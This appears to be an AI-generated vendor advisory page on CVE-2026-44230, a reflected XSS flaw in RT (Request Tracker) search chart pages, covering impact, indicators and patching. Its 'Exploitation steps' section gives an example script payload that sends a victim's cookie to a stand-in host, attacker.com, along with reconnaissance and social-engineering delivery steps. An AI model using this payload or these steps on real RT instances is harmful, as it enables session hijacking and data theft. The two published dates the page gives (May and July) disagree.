CVE-2026-44230
Linux Debian vulnerability analysis and mitigation

Overview

CVE-2026-44230 is a reflected Cross-Site Scripting (XSS) vulnerability in Best Practical's RT (Request Tracker), an open-source enterprise issue and ticket tracking system. The vulnerability affects RT versions 5.0.4 up to (but not including) 5.0.10, and 6.0.0 up to (but not including) 6.0.3, specifically in the search results chart pages. It was published on May 20, 2026, and fixed in versions 5.0.10 and 6.0.3. The CVSS v3.1 base score is 6.1 (Medium) (GitHub Advisory, Red Hat Bugzilla).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from insufficient sanitization of user-controlled URL parameters on search results chart pages in RT (GitHub Advisory). An attacker crafts a malicious URL containing an injected JavaScript payload that, when reflected back in the browser response without proper encoding, executes in the victim's browser context. Exploitation requires no privileges on the attacker's part but does require user interaction — specifically, an authenticated RT user must be induced to visit the crafted URL (GitHub Advisory). No public proof-of-concept exploit code has been identified at this time.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript within the browser session of an authenticated RT user, potentially enabling session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or exfiltration of sensitive ticket and user data visible in the RT interface (GitHub Advisory). The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the user's browser environment. Availability is not directly impacted, but confidentiality and integrity are both assessed as low-impact per the CVSS scoring (Red Hat Bugzilla).

Exploitation steps

  1. Reconnaissance: Identify publicly accessible RT instances running versions 5.0.4–5.0.9 (5.x branch) or 6.0.0–6.0.2 (6.x branch) using web search, Shodan, or Censys.
  2. Identify vulnerable endpoint: Locate the search results chart page within RT (e.g., a URL path associated with ticket search chart views) that reflects URL parameters without proper sanitization.
  3. Craft malicious URL: Construct a URL targeting the vulnerable chart page parameter with an injected JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent encoded form.
  4. Deliver the payload: Send the crafted URL to an authenticated RT user via email, chat, or another social engineering channel, inducing them to click the link while logged into RT.
  5. Execute arbitrary JavaScript: When the victim visits the URL, the injected script executes in their browser session, enabling the attacker to steal session cookies, perform actions as the victim, or exfiltrate data visible in the RT interface (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after accessing RT search chart pages; unusual referrer headers in web server logs pointing to RT chart URLs with encoded script tags or JavaScript payloads in query parameters.
  • Logs: RT web server access logs showing requests to search results chart endpoints containing URL-encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=, onload=) in query string parameters.
  • Browser/Session: Unexpected session invalidation or re-authentication prompts for RT users; reports from users of unexpected redirects or pop-ups when accessing RT search chart pages.

Mitigation and workarounds

Best Practical has released patched versions that resolve this vulnerability: RT 5.0.10 for the 5.0.x branch and RT 6.0.3 for the 6.0.x branch. All users running affected versions should upgrade immediately (GitHub Advisory, RT 6.0.3 Release). No effective configuration-based workarounds exist; the advisory recommends avoiding following untrusted RT URLs as a precautionary measure. Additionally, deploying Content Security Policy (CSP) headers to restrict inline script execution can reduce the impact of XSS vulnerabilities as a defense-in-depth measure.

Community reactions

The vulnerability was reported by the RT maintainers (cbrandtbuffalo) via GitHub Security Advisories and is one of several security issues addressed in the RT 6.0.3 and 5.0.10 releases, which also fixed SQL injection, LDAP authentication bypass, CSRF, and other XSS variants (RT 6.0.3 Release). The Ubuntu security team issued advisory USN-8506-1 covering this and related RT vulnerabilities. Coverage has been limited to vulnerability tracking databases and Linux distribution security channels, with no notable broader media or social media discussion identified.

Additional resources


SourceThis report was generated using AI

Related Linux Debian vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-44231CRITICAL9.1
  • Linux Debian logoLinux Debian
  • request-tracker5
NoYesJul 20, 2026
CVE-2026-44230MEDIUM6.1
  • Linux Debian logoLinux Debian
  • request-tracker5
NoYesJul 20, 2026
CVE-2026-44229MEDIUM5.4
  • Linux Debian logoLinux Debian
  • request-tracker4
NoYesJul 20, 2026
CVE-2026-64194NONEN/A
  • Linux Debian logoLinux Debian
  • libnet-dns-perl
NoNoJul 20, 2026
CVE-2026-64193NONEN/A
  • Linux Debian logoLinux Debian
  • libnet-dns-perl
NoNoJul 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management